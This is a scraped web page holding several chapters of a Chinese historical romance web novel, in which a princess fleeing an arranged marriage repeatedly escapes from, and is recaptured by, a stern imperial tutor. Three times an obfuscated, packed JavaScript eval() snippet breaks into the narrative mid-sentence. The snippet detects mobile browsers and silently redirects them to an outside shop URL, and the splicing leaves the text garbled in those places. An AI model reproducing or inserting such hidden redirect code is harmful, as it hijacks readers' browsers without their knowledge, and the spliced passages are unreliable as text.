五个壮汉面容狰狞地排成一列挡在前方路口,拦住她二人。朝颜故作镇定,左右巡视,见一圈都是密密麻麻的灌木丛木,根本无处可逃,她便想过把金银给他们,保命要紧。 果然不出意料,壮汉队伍中间面上有紫色胎记的男人拿出一把刀,在烈日底闪了几下,一边逼近她们一边怒吼:“把你们手上的金银交出来,大爷我高兴了就放你们过去!” “否则,今日就是你们是死期!” 见对方态度强硬,朝颜将包袱从肩上取下,佯装给他们,试图转移注意力,“几位壮汉身体康健,明明可以学一门手艺自力更生。为什么要做强盗?” “少废话,你小子要真识相就给大爷拿过来!”说完不等朝颜动作,几人便冲上来想抢。 眼看对方已经动了上来,朝颜身子向后一晃躲过那双黑手,而后把包袱甩到紫色胎记脸上,将他打偏在一边。见这边的槐夏被人禁锢着枪包袱,朝颜一着急便弯下腰,冲上去推了壮汉的腰一把,死死抓着他的腕子,对方喊叫了几声,疼得把手松开。 朝颜逮住机会便拉着槐夏穿过他们,用尽全力向前跑,一刻不敢停。 而刚刚俘虏槐夏的壮汉后知后觉,冲其他人喊:“那小子居然是女人!”闻言几人更精神了,咒骂一声后,兴致冲冲去追他们。 朝颜拉着槐夏一直跑一直跑。 身后几人还依依不舍,铁了心要抓住她二人。朝颜将槐夏手中装着衣裙的包裹扔下吸引他们的注意,而后继续向前狂奔。 不知过了多久,跑了多少里,终于甩掉壮汉,朝颜回过神便看到前方路口又出现一群人马,身着灰白色便衣,有序的队伍与方才贼人相差甚大,她脚步慢下来。 对方骑马速度极快,离她们愈来愈近,四下危机重重,朝颜紧张得下意识想往回跑,谁知还未转身,身侧槐夏一慌神直接被石子绊倒,朝颜被她推了一把,身子直直向前冲,完全刹不住。 只见前方队伍中为首的青色身影将马儿掉了个头,马尾巴停在朝颜面前。 “诶!” 眼看就要撞上去,朝颜受惊喊出声,关键时刻又被自己绊了一下,直扑向马屁股。 谁知就在这关键时刻前方马儿又向右一偏,马鞍中间端坐的男人弯腰,紧接着一把带着剑鞘的剑身就这样生生杵到她面前。 她急忙伸手抓住这颗救命稻草,抓得紧紧的。 剑身冰冷,坚硬。 然而这剑身根本不足以让她停下脚步,她又踉跄着跑了几步,感觉到臂膀处一紧,抬眼看,是男人伸出手臂捞了她。 5. 逃亲之路(四) 躲开马匹的朝颜还惊魂未定,大口喘着气,身子半挂在他臂弯,腕上传来淡淡的痒意,夹着一丝刺痛,她能明显感觉到男人冷漠且不温柔的拉扯。 耳风呼啸,衣袂飘飘。 朝颜缓缓抬眸,二人目光彻底对上,细长眉眼下是一张带着骨感的面廓,眸光带着温润,几分凌厉,恍如画中走出的圣洁君子,高高在上不敢有半点亵渎。 朝颜心思直白,欣赏一个人也是如此,看便看得直截了当。 空气刹时静默,男人率先移开眼,见朝颜稳住后便收回手掌,只是手握缰绳时眉头微蹙,肩颈颤动了一下,似有什么不适。身后跟着的亲卫时刻注意着他的举动,见此场面惊呼出声,“大人……”。 下一秒男人奚落的眼神扫过去,暮商连忙把到嘴的话憋住。 娄卿旻翻身下马,动作利落,身后亲卫虽不知为何但也紧随其后,跟着他朝着朝颜的方向垂首,弯腰,抬臂行见面揖礼,一条队伍整整齐齐,井然有序。 朝颜还在思考眼前男人为何如此眼熟,不曾想对方来这一出。她便知晓他的身份了,心道这位大人一举一动都将守规矩刻在骨子里,做到了礼数周全。 “朝颜公主。” 他声音不轻不重,吐字清晰地落在周围每一个人耳中。直接当众戳破朝颜的伪装,那些亲兵才反应过来方才行礼的缘由。 身份被揭开,朝颜自觉无趣,擦拭着脏乱的脸,不一会儿便露出白净的面容。亲卫们一下便看到那丰满的额角与细眉,秋波流转的双眼,恍如人间芬芳鲜艳的山茶花,高雅端庄中透着艳丽。 众人只敢轻轻瞥一眼就低下头,朝颜一心想如何在娄卿旻眼皮子底下开溜,也不去在意众人打量的目光,只是带着槐夏微微颔首向娄卿旻回礼。 不过走之前她有很多问题想问他。想知道他为何提前离开峮防,又为何不回去支援太子,不料她还未开口,便听到对方寡淡却带着讽意的话:“臣归国途中收到国君密信,要搜寻外出游玩的逃婚公主。” 他刻意加重了那两个密信没有的字。 逃婚传出去不好听,朝颜后知后觉。她这一路逃亡许久,也未曾收到捉拿公主的通缉令,猜到朝穆没将此事传出来,但也不代表他能放任她逃婚不找。 大意了。 朝颜有些窘迫,面颊透着绯红,是累也是狼狈。早知如此先前便应该听槐夏的话,留在客栈等羽堇,或许也不会碰到这位难缠的家伙,他听命于国君,必然要带自己回宫,但她眼下真的不能回去。 娄卿旻没放过她,又道: “殿下身为公主,享万民供养,此刻不在宫中待嫁,反而女扮男装在山野乱窜,不成体统,毫无规矩,如此看来殿下所学女子素养属实应该精进。” 他言语犀利,句句有理,周身散发的压迫姿态像座无形高山让人喘不过气。 朝颜没接话,也不知该如何解释,更不想将燕国之事告知与他。 四周只剩蝉鸣鸟叫,少傅开口训斥公主,亲卫们也是第一次见,纷纷紧抓着身侧的剑垂头抿嘴,不敢有所动静。 两方人马分别立于身后,他二人距离比三尺还要更远一些,没有眼神交流,做到真正的男女有别。 朝颜先前不熟识,只知道他的名号。 如今他这一席话,朝颜才切身体会到众人口中的不苟言笑,凛若冰霜是真的,严以待人亦是真的。他是太子挚友,王上宠臣,素有“真君子”之称,身份自是比她这位空有名号的公主更有说服力,随便拿出一件军功都能压她一头。 且他与太子同岁,确实算朝颜半个长辈,半个兄长。朝颜心中诸多不满也不敢公然发泄,对他有所忌惮,故而半天才闷闷地接话:“大人所言甚是,是我疏忽大意,忘了礼数。” 知道逃婚无果,便与身侧槐夏对视一眼,无精打采的垂首,受了极大打击。 “暮商,为她二人寻匹马,启程回都城。” 说完娄卿旻扫了朝颜一眼便自顾自地拂袖上马,只是他刚坐上马身子便突然向右歪了一下,随即又立刻摆正。这一连串的动作十分短暂,快到朝颜以为自己眼花。 被唤作暮商的侍卫小跑到队伍中,先牵了一匹枣红色的马来到朝颜面前。朝颜眼睛滴溜着,好奇地看着它,毛发柔顺光泽,比起其他身姿高大的马,它略低,眼神更是温顺,像个好脾气的主,至少比他们大人好脾性。 槐夏搀扶着她上马后,便被安排到另一匹马身上,暮商猜到二人不会骑马便各自派了亲卫在底下牵着。 有了二人的加入,队伍前行速度慢了下来。朝颜坐在高处,视野开阔,便开始认认真真打量着前方领路的娄卿旻。 他身上穿了青色与灰白相间的衣袍,袖口与袍底用丝绸绣了精细的宗彝纹路,针线细致缜密,朝颜认出那绣迹,是华纪国最高品阶的绣娘所绣。不得不说,青色确实将他身上流露的那股气质衬得更清冷,宛若隔世青竹,高不可攀。 头上青丝被一顶简易玉冠束着,清冽无暇,精气十足,由此说来,君子之称并不是浪得虚名。 只是,背影有些瘦…… 腕上传来淡淡的痛,朝颜挽起袖子看到一圈红痕,揉了几下。 明明手上力气那么大,方才说话时的气势让人那样胆怯,甚至不敢与之辩解,也不知为何,他的背影给朝颜一种孑然一身,脱离世俗般的孤寂。 早前听过娄卿旻的事迹,他未加冠之前时常随太子出征。在一次两军作战中,太子指挥失误害大军落入贼人圈套,是他声东击西,指挥为数不多的亲卫佯装攻打山匪老巢,逼得山匪放过太子全军退回,最后救下六千余人并缴获山匪三百石军粮。 得此军报国君大喜,迎他回国行赏,谁知他立功不求权钱名利,只为自己父亲正名,恢复了从前娄父所住府邸。 恰好当时太子嫡子出生,国君便顺着台阶赐了他个闲散少傅之职,教养太孙,貌似还是太子从旁劝说,他才接受了少傅之位。他亦是开国以来第一个凭自己才能所封官职的人,表面虽无实权,但他与太子出征数次,早已俘获无数军心,被众将士默认为军师。 他不奢靡,所穿衣物颜色只有灰白青玄,据说就连所食菜肴都是来来回回重复的几样。 从前朝颜听完这些便觉得此人奇怪又可骇,生而为人,居然没有口腹之欲,府邸无姬妾,更何况其他的七情六欲更是不用提,他好似只有为父亲正名这一件事便没有其他所求。 乏味,实在是乏味。 娄卿旻是何时出现在华纪的?朝颜记不清了,更不知他父亲的故事,若知今日会与他打上交道,先前应多听听他的事迹。 “大人!前方有情况!”暮商耳力惊人,忽然喊出声。 话音刚落,朝颜从回忆中脱离向远处看,便见到方才追自己的那几位壮汉,手上还拿着她们扔下的包袱,似乎还在追她们。朝颜认出那个脸上有胎记的男人,向前方马上坐着的男人喊着:“少傅大人,他们是山匪,手上拿着的包袱便是方才从我们这儿抢去的!” 娄卿旻听完没发一言,缓慢挥了挥手,身后亲卫骑马一涌而上,几人疯狂逃窜,但是两条腿的人哪里比得上四条腿的马,亲卫很快便将他们一网打尽,捆绑在队伍后面带着前进。 壮汉满脸后悔,早知如此就不该为了那几两银子惹上朝颜这个大麻烦。他们天真以为朝颜专门找人为她报仇了,但后悔无用,等待他们的只有牢狱之灾。 兜兜转转,一行人又回到朝颜之前待过的客舍中。暮商负责把贼人绑好,娄卿旻自顾自地上了二楼。 店小二认出出手阔绰的朝颜二人,顿时喜笑颜开。见大队人马来此住宿,嘴角抑不住上扬,以为是朝颜带来的贵客,连忙上去溜须拍马,给她二人免了此次住宿。 带公主回城是娄卿旻临时决定的,众亲卫也很有眼色,不敢真把朝颜当逃犯,更何况她已经被定为和亲公主,事关两国交聘,大家连带着对槐夏也是毕恭毕敬。 娄卿旻所住的厢房就在朝颜隔壁,她特意让槐夏去歇息自己端坐在案前沉思,心中存着诸多疑问,想知道娄卿旻为何不回去支援兄长,更想知道他为何这么快便回城。 总不能消息传的那样快,她还未逃他便猜到了? 知道以上猜测不可能,她脑中闪过一道主意,起身出门右转,叩响娄卿旻的房门。半晌里面都没传出动静,朝颜又敲了敲,唤了声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朝颜听到了这几个字一下子豁然开朗,她将所有事情连在一处,不用暮商解释便也猜出一些事,她上前走了几步,“所以太子殿下遇险,你们没回去支援是因为这伤?” 暮商沉默了片刻,思量了下回道:“是。” “大人与太子在峮防剿山匪之时,中了埋伏,被敌人用毒箭射穿臂膀,当时军医失踪,太子殿下为大人简单处理后便让我们往回赶。此毒比较罕见伤及了根本,大人吃了许多药延缓发作,太子遇险那日我们大人便如今日一般昏迷不醒,我们那时不敢擅自行动,谁曾想待大人醒来后太子殿下已经失踪了。” 故而错过了最佳支援时间。 暮商连连叹气,太子失联两日娄卿旻才醒,他中毒一事不能传出去,便被传成临阵脱逃,但他们亲卫都知晓,就算回去支援也做不了什么,反而会大人危害生命,快马加鞭往回赶。 眼看快到都城又收到国君来信,寻回公主便能功过相抵,大人被冤枉却不解释,任由别人说道,自己继续为国效力,在这之前暮商是气得,气国君为何不信自家大人,也气公主为何这节骨眼上逃婚。 琐事一件接一件,娄卿旻这几日一直撑着一口气,根本无暇顾及自己的身体,所以突然引发了体内毒性。 见朝颜没有什么坏心思,暮商气消了大半,他看了看娄卿旻又看了眼朝颜,道:“公主,劳烦您在这儿帮忙照看,我去最近的城池找位医者帮大人解毒。” 暮商已经快步走到门口,朝颜蓦地出声叫他:“等等,你说毒箭?” “殿下想说什么?” 山匪毒箭,峮防遇袭。 怪异的想法油然而生,忆起先前自己给兄长送的那封信,叮嘱他小心山匪发动弓弩之变,本以为这一世没有毒箭,但如今看娄卿旻,好似一切都与从前一般无二。朝颜不敢确定,她有些害怕,怕自己是间接害娄卿旻重伤的凶手。 但她表面装作风平浪静,没什么表情,对暮商说无事,催促他快些去寻医者。 暮商没多留,道一句多谢殿下便急冲冲地下楼骑马前去求医。 6. 逃亲之路(五) 前世嘉和二十一年,兄长毫无准备的情况下中了敌人毒箭,染上剧毒不治身亡。此世明明有所防范,不曾想所有事都向前推了一年,太子是躲过此劫,哪曾想居然害娄卿旻中了毒箭,还突生其他变故。 果然上天安排的事都是不可逆的,无论怎样都会应验。如今她插手改变了太子的结局,还不小心将娄卿旻牵扯进来,所有事情已完全脱离她的掌控。 念及此朝颜心头涌上一抹恐惧,想着重来一次也无甚作用,未来仍是未知,仍是危险的。胸间百感交集,黛眉微蹙,盯着床榻上昏迷不醒的人直直叹气。 只希望娄卿旻能平平安安捱过这一遭,不然她心里过意不去。 床幔颤动,榻上昏睡的人突然向外探了探身子,一半隐在黑暗中一半在外面,显现在日光下的那半张脸能看见清晰的棱角,面容更白更病态。 泛黑的唇微张,有几片干裂,似乎在说着什么,朝颜怕他万一出了什么事,最后留下的几句便是遗言,万万不能错过,便俯身上前倾听。 “父亲,父亲。”声音很细很轻。 虚弱,楚楚可怜,跟白日里满身威严,讽刺人的冷情模样天差地别。 也是了,人一旦陷入昏睡,濒临死亡,便是最脆弱的时候,也最能照见心中欲望。他说了几句朝颜听不懂胡话后,便一直呼唤“父亲”二字。 身为男子,钱财权利他都不求,只求恢复父亲之前的府邸与名誉,可见父亲对他影响甚重。朝颜所遇男子不多,他们中无一不图权不图名,前世那位更是一直将钱权视为囊中之物。 与之相比,娄卿旻真的很独特,显得怪异,像是邪恶众生中一个不可多得的仙灵,不染俗世,望尘莫及。 她或许是心血来潮,又或许是头脑发热,特别想知道娄卿旻的父亲是否与他一般无二,也想见见他的母亲,好奇什么样的父母才能教养出这样的人。 但那些传言中并未提起娄卿旻的母亲是什么样的人,只说娄大人教子有方,而娄夫人似是不存在一般,甚至连名讳都不被人提及。朝颜有些不满,但又不知自己不满在何处。 都说女子像父亲,男子像母亲。娄卿旻生的如此清雅俊美,想必他的母亲也是位风华绝代的美艳人儿,又或许也是个才气斐然的女公子呢? 奇怪的是,母亲这个词在众人口中没有半分存在感。人们总遵循妻要冠夫姓,子要冠父姓的缘法,为何女子嫁为人妇便全然失去了自己的名讳,难道怀胎十月的母亲不应是最重要的么? 朝颜生来母亲便没了,父亲对她不闻不问,只有哥哥照顾她。 她与母亲没有感情,但不知为何,一想到前世自己身为人妇无嗣被世人诟病,而历经十月怀胎的媵妾难产而亡,诞下的孩子因为不是男童便不被珍视,她便感到悲伤。 不知为何,女子生来便比男子要活得痛苦些。 无嗣要被斥责不堪为女子,有嗣却可能会一命换一命,命大的生下来,女童便要被弃如敝履,男童便被当作权力的牺牲品来培养。女子一生都与子嗣套在一起,偏偏到头来还要否认女子的相夫教子,死后连名字都不被提及。 如今,她重回一遭,因是适龄女子便要为国联姻。 她抗拒联姻,逃避身为公主的职责,或许是抗拒作为女子被注定好的命运。更厌恶先前遵守的三从四德,什么未嫁从父,已嫁从夫,夫死从子。 难道她们女子便不配为自己而活?难道无嗣便不配活于世上?便只能一辈子顺从别人的心意,按别人的规矩办事? 实属不公。 一想到白日里娄卿旻对自己那几句教导之言,朝颜便看他不顺眼,心里憋着那口气无处发泄,偏偏还不能真对他做什么。 眼下他昏迷不醒,命悬一线,如若不然,趁此机会逃掉,届时等人醒来,她便已经到达燕国了。 不过她最担心的还是羽堇,期限已过,他还未出现,不知是否遇到了麻烦。 燕国,华纪,普桑,北狄,很多事连在一起,前路困难重重,做一件事都如此波折,天道对她如此不公。 她无精打采地倚靠在木榻旁的围栏,天色将暗,又一日过去了,她什么都做不了,即使今日走了也出不了华纪国。 罢了,再等等。 等羽堇拿来玉符,她便找机会逃掉。 夜色如水漫延了整片天际,星月交辉,窗外传来几声虫鸣,偶尔还有凉风传入房内。 朝颜怕人着凉,天将暗下来便关了窗。暮商白日里走时急匆匆的,回到客舍后已经戌时一刻,朝颜午膳晚膳都未用,守了娄卿旻半下午,见医者来后便让出位置,不等暮商道谢便悄悄出了厢房。 “殿下,您为何?”从娄少傅房中出来…… 刚出门便被槐夏撞见,朝颜勾唇朝她淡淡一笑,而后向房内瞥了一眼,解释道:“事发突然,涉及机密,你当没看见便好,不必多问。”槐夏机灵得很,一听便立刻懂了,连忙带朝颜回去用膳。 客舍不小,所供膳食各式多样,荤素搭配色味俱全,朝颜一见到案上所摆的吃食,身体的疲惫与郁闷的心思全部一扫而空,快步走了几下,跽坐在案前垫上专心用膳。两刻时辰后,朝颜满足地扶着案子起身,隔壁传来一声隐隐约约的闷哼,声音中好似忍耐着什么,压抑着什么。 中毒箭伤,怕是不好受,但他没喊出声,勇气可嘉。 朝颜不行,她怕疼,年幼时随兄长打猎,被蛇咬了一口她现在还记得当时的痛,也不知为何前世死到临头时,怎么那样大胆无畏。 其实说起来,前世没生孩子也算少受一次疼痛。 槐夏把膳盘撤下楼去,朝颜便起身走到隔壁厢房门外,微微探出半个身子观察娄卿旻的情况。 见他披着头发靠在草枕上,双眸半阖,面色已经不似先前那样惨白,换了件崭新洁白的锦袍,也难掩他身上那几分憔悴,将他衬得宛若病美人,有弱柳扶风之姿。 娄卿旻这模样可比白日里那副凶神恶煞的样子让人看着舒服多了,朝颜收回目光,唇角扬起极小的弧度。见他安全,先前心中挂着的大石落地,便转身回房了。 屋内娄卿旻一早便察觉到门外那道打量的目光,他顺着门缝看过去时,只扫到一片衣角。他知道门外人是谁,忆起暮商方才所言,又明知故问道: “所以,是公主最先发现我晕厥,还守了我半日?” 暮商垂头应了一声,将煎好的药端到他面前,他顺手接过,皱着眉一口喝完。 “事出有因,许是殿下要与大人说什么,才先属下一步进来了。” 听到暮商此地无银三百两的解释,娄卿旻不以为然,琉璃般的棕色眼瞳一转,神情淡漠,“她知道也无妨,事关国家安危,她不敢到处宣扬。” 太子失踪,他因公受伤,此事若传出去,别国只会觉得华纪无人,更加虎视眈眈,他知道朝颜的小女子性情,虽成不了大事,只顾自己,但关乎家国存亡之事,她断不会如此蠢笨。 “那大人可需我去将殿下请来?” 暮商怕朝颜真的有急事,但娄卿旻一听这话,浅浅瞥他一眼,眼中带着疲惫,显然是不想见的。暮商反应极快,连忙改口:“要不您先用膳?公主应该不急于一时。” 不等人发话,暮商便几个箭步冲了出去,为娄卿旻准备老三样。 两块黄米饼,一碗豆饭藿羹,一盘蒜拌苦菜。回来时娄卿旻已经自己下榻跪坐在案前,伤口隐隐作痛,他废了些许力气吃完,用盐水漱口后便回床上歇息。 …… 翌日黎明破晓时,窗缝透进一丝日光,朝颜的梦被刺眼光亮打断,悠悠转醒。槐夏已经打好水在一旁候着,昨日被歹人抢走的包袱被暮商一大早物归原主,有了换洗衣物,朝颜里里外外都换了个遍,依旧是男装。 二人下楼用早膳,本以为娄卿旻一行人已经收拾好行囊准备出发,未曾想楼下空无一人。暮商从大门进来,解释着娄卿旻卯时就带众人去晨练,还未回来。 朝颜想到什么猛然清醒。 早知有这一出,她指定抓住他们晨练的机会就跑。奈何今日没起来,她连连摇头,认命般阖上双目,看来只能等众人到下一个驿站休憩时再想法子。不过她心中再次感叹娄卿旻的恪守尽职,伤成那样仍然带兵晨练。 本以为今日便会出发回都城,哪料到都日上三竿了他们还未归来。客舍里只有暮商,他应是受了命令专门回来监视她二人,朝颜嘴角抽了抽,娄卿旻此人还真是事事认真,得理不饶人。 朝颜坐不住,派槐夏打探消息,不一会儿便在暮商口中得知娄卿旻有要事处理,须多在此地留几日,听说他还计划着派一队人马将自己送回都城。 话一听完朝颜便知机会来了,上天总算要开始帮她了。 第二天一早朝颜便在楼下等待,娄卿旻公务繁忙本人没出面,便让暮商派了五个亲卫,寻了一辆囚车一辆马车。其中两位帮朝颜二人驱车,剩下几位守着抓来的壮汉,一起遣送回都城。 朝颜与槐夏早早准备好,见马车抵达便背上自己的行囊直接上了车。 烈日炎炎下的黄土冒着烟,马车行驶速度不快不慢,几个亲卫也渐渐放松警惕。一个时辰后,朝颜掀开车帘看到不远处蔓延了半座山的大长岭。 那里是华纪守卫最森严的边防,进去便很难再出来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405592|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝颜知道时机成熟,不等了。随即叫停亲卫,摆起大国公主的架子,打着出恭的幌子带槐夏躲到灌木丛中,而后趁人不注意越走越远。 亲卫左等右等等不来,派人查看才发现灌木丛中空无一人,一个个慌了神,像无头苍蝇般四处搜查,找了许久无果。其中领头的吩咐那三人将抓来的贼人送到大长岭,另外两个急冲冲地跑回客舍报信。 他们回来禀告时,娄卿旻正在案边跪坐,一点一点绘制边防图,听到朝颜逃跑的消息,手上动作顿了下,一滴余墨落在皮革上晕染开来,他皱眉看着那滴墨,只差一点就会毁了整幅图。 心思飘到九霄云外,他静静地放下狼毫,拂袖下楼。 早猜到朝颜不会那么安分就回城,听到消息后还是有些意料之外,本以为会到大长岭才行动。奈何公主性急,居然提前行动了,这几日一直忍着不动怕是就在等这一天。 他心如止水半点不急,他知道朝颜二人徒步跑不远,故而带人骑马向华纪国西北方向追赶,西北部是华纪国最北边的边防驻扎地,有座城池,名为嘉阳关,从那出去后的每一寸土地,都不属于华纪国了。 昨日一早他便向大长岭递了书信表明要严加看管公主,她不会自投罗网。她不想和亲,定然是要出国土。 众人抬腿上马,风驰电掣地速度追赶。果然不出娄卿旻意料,只寻了半刻多,便在客舍五里地开外的盐湖边上看到那两道熟悉身影,娄卿旻抬手朝后方亲卫示意,马速瞬间降了下来,蹄声哒哒不急不躁。 反观她们,似乎刚停下来歇息,慌张地喘着大气,许是跑得太快衣衫都被灌木丛挂坏好几道口子。娄卿旻见朝颜用红丝束起的乌发也塌到一旁没了形状,着实毫无姿态可言。 不过,跑得还挺快。 娄卿旻一只手扯着缰绳翻身下马,缓步朝两人靠近。几个亲卫跟在身后,他在距离朝颜三尺多的地方停住,突然出声:“公主这是在做什么?” 在朝颜耳中,这道低沉的嗓音简直与地狱罗刹无甚区别,朝颜打了个极其寒凉的冷颤,转头确认是他,被吓得瞳孔瞪起来,直接瘫坐在地,“大人,你怎么这么快就找到这儿了?” “臣还想问一问公主,先前说好回都城,为何半路逃跑?” 被人戳破心思,朝颜面颊染上一抹红晕,不知是被气得还是累得,她被槐夏拉起来,还没站稳便抓起地下的石头向前一扔,石子差一寸便砸到娄卿旻的足履上。 石子滚落在一旁,声音愈来愈小,众人目不转睛盯着这颇为戏剧性的一幕,看到公主不顾眼前人是谁就发脾气的恼怒模样,纷纷张大了嘴。 娄卿旻本人对此举不以为然,淡淡掀起眼皮看她,撞上朝颜倔强的神情,听她诉苦水一般的言语:“我从未与你说好过要回都城,你送我走之前也没问过我的主意。我只想说,不想回去嫁人,不想相夫教子,也不想被困在宫墙之内。” 简而言之,不想和亲。 娄卿旻有些听不懂她的话,肩上伤口经过方才的奔波开始隐隐作痛,他稳定了多年的情绪貌似要被打破,只觉得女子所言很是荒谬,他张口便反驳:“可女子生来就该为人妻,为人母,相夫教子更是理所应当。” “这根本不公平。” “自古以来女子皆是如此,为何到公主这里便是不公?”他恍然大悟,眼神犀利,戳破她心思般:“还是殿下只想逃避,享乐,不肯尽半点公主之责?” “你说得对,我就是要逃,确实也不想尽责,至少现在不想。” “那公主可知生于忧患死于安乐?” 管他什么忧患安乐,朝颜现如今最想做的便是赶紧找到羽堇,尽快去燕国,趁现在事情还未发生,她要去揪出北狄奸细,救下堂姐和燕国。 她没接话,憋气窝火着,无视娄卿旻,转身就拉着槐夏越过他们,逮住那只眼熟的马儿便爬了上去,动作有几分滑稽但很刚强不服输。 二人就这样自己半生不熟地驾马离开了,客舍到湖边这条路他们走了足足三趟,早已轻车熟路。 她们的身影渐行渐远,湖边只剩娄卿旻与一堆亲卫,众人面面相觑,静默无比。 身后的暮商咽了口唾液,有些畏惧地抬头,看着自家大人一口气打在棉花上的受气模样,心道公主还真是厉害,短短几日便将大人逼得开启毒舌姿态,要知道在这之前都是自家大人给别人脸色看。 大人此前虽说待女子很疏远,但若真打交道他一直都秉持着君子之姿,断不会如今日一般对女子冷言冷语,语调都高了许多,公主居然能惹得大人生气,实在是大人的克星。 也或许,是救星呢? 7. 逃亲之路(六) 朝颜这次半路脱逃,让一向不爱多管闲事的娄卿旻也开始正视这位脾性倔强的小公主。年纪不大却比同龄人都聪慧些,但都是些小心思,需要几经磋磨才能真正成长。 知晓离她及笄联姻还有段时日,娄卿旻便也不着急派人送她回去,待解决完手头这件棘手的事亲自送她回去,届时饶她有十条腿也逃不走。 眼下有更重要的事需调查。 朝颜方才休憩之地的湖泊,名为茶盐湖,看似不起眼,实乃华纪国之根本,大国命脉之一。是来往商人最看重的地盘,但身为后宫女子却不在意,只觉得是普通的湖便停下歇脚,不知其重要之处。 见暮商进门,娄卿旻问他:“暮均在燕国可有查到蛛丝马迹?” “回大人,并无。” 燕国自与华纪联姻以来,私下便成了华纪的附属国,表面有国君在位把持朝政,实则大小之事都会上报华纪再做打算。茶盐湖毗邻燕国,往来便捷,故而在燕国专设了几家较大的制盐商,在盐湖内抽取湖水提炼粗盐。 照约定,燕国每月月末需向华纪都城运送一批粗盐,以此作为征收赋税的法子。此状况持续一年之久未曾出过差错,谁知那日都城信使来报,燕国运送的粗盐已经连着两个月未达到规定的量,呈上来的文书也有造假。 也就是说,文书上写着的量与称出来的量不相符,且每袋都比所写量少一些。不知是运送路上出了岔子还是生产装袋时缺斤短两。 粗盐乃贵重之物,可制食物也可当作良药。眼下太子失踪,若山匪想趁机攻打华纪,那华纪要确保军资一应俱全,缺一不可。 差若毫厘,谬以千里。若是一个月达不到所规定的量还情有可原,但是连着两个月都未达到,那便要打起谨慎的态度,查一查到底是何时何地出了岔子。 这边朝颜忙活一顿又回到客舍,很是气愤,整日闭门不出。 就这样,俩人在自己的地盘,谁也不理谁,安生地过了几日。期间娄卿旻外出过一次,两日未归,许是知道即使逃走哪儿也去不了,朝颜便也没想方设法离开。 * 五日了,被困在客舍整整五日,朝颜明明已经心急如焚,面上却装着无所谓的模样,日渐下降的食欲暴露了她忧虑的心思,槐夏都看在眼里,知晓朝颜一直隐忍积攒着,等待爆发的那天。 朝颜一开始想,如若把燕国即将覆灭之事与他全盘托出,或许他会放她离开,但每次走到娄卿旻房门前,她就退缩了,其实她是不太信任他的,毕竟前世燕国没落后,也未见他作出何种对策补救。 偏偏他此时此刻对朝穆忠心耿耿,在其位,谋其政,于臣于民都挑不出半点错。 即将九月却还是残云酷暑,炙热日光笼罩着大地,青瓦隔绝了几分热度,屋内依旧蒙着层闷气,一动便汗如雨下,憋气窝火。 就在朝颜觉得一切都完蛋之前,救世神来了。 羽堇终于赶来,也带来了最重要的符节。 少年风风火火,手脚敏捷,不怒自威,有着不属于这个年纪的沉稳老成。娄卿旻的亲卫见此人以为是住客,不敢上前阻拦,也根本拦不住。唯一能与之打个平手的暮商性子随了娄卿旻,做事谨慎,见少年进了公主的房门,连忙将此事禀告给自家大人。 娄卿旻从前便知道羽堇这号人物,那时他还在太子身边。年纪不大很有能力,是当时的比武大赛第一名,被太子收入门下。太子爱惜胞妹,出征前便把羽堇留给朝颜当亲卫,平日里负责守护她的安全,必要时充当传信使。 贤能之人应当受到重用,不论文人还是武者,所以娄卿旻也很欣赏羽堇。便没理会他们见面,他知道羽堇是个懂规矩的,不会由着朝颜胡来,只是心中也对朝颜身为公主,却丝毫不在意男女有别存了偏见。 本以为就这样平和下去,娄卿旻却迟迟意识到自己对羽堇的认知还是浅薄了些,第二日天还未亮,他们便有所行动。 三人趁着暗色从客舍后门偷偷溜走,娄卿旻夜里觉浅,时醒时眠,暮商警惕性高,任何风吹草动都会让他戒备起来。 他们刚踏出客舍大门便被娄卿旻发觉了,知晓羽堇的能力,若不阻拦他必然会将朝颜带走。娄卿旻面上有些薄怒,起身唤来暮商,伫立在二楼等暮商唤醒亲卫,他们一个个还在梦中,懵懵懂懂十分迷离,见到娄卿旻如此严肃地盯着他们,众人才清醒。 羽堇弄了两匹马,自己独坐一匹,朝颜与槐夏坐着一匹,几人一直向前速度极快。娄卿旻的队伍是经过艰苦训练的,自是比羽堇的马匹利落些,不到一刻便追到三人身前,大部队将他们的马围成一圈拦在中间,手持刀剑未出鞘,来势凶猛无比,令人畏怯。 羽堇双手向后拔起剑身举到身前,站在最前端护住朝颜二人,赤.裸裸地对上娄卿旻寒凉的目光,丝毫不畏权亦不惧势,仿佛这里没有什么少傅公主,他只听命于朝颜,若非要拼个你死我活,他也不退缩。 已经卯时一刻,天边渐渐泛起鱼肚白,寒凉的晨风吹散众人的困倦,两对人马互相对峙谁也不让谁。羽堇虽占下风,但却将他们逼得节节后退。气氛拔剑弩张似要一触即发,关键时刻朝颜骑马站到羽堇身侧,伸手按住他的衣袖让他放下剑,羽堇面带严肃,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四周静寂,只有枝叶沙沙作响。 娄卿旻似信非信的眼神扫过众人面庞,最后落在朝颜闪烁的黑瞳上,垂首,缓缓道出一句:“国君之命不敢不从,殿下恕罪。” “那大人是铁了心要抓我回去?” 朝颜破罐破摔的话语让娄卿旻冷情的眉眼闪了一下,他一时没接住话,直接朝颜越来越近的身姿,最终立在高大红棕马侧方,仰头望向上面的人,“娄少傅,不如我们做个交易吧。” 8. 逃亲之路(七) 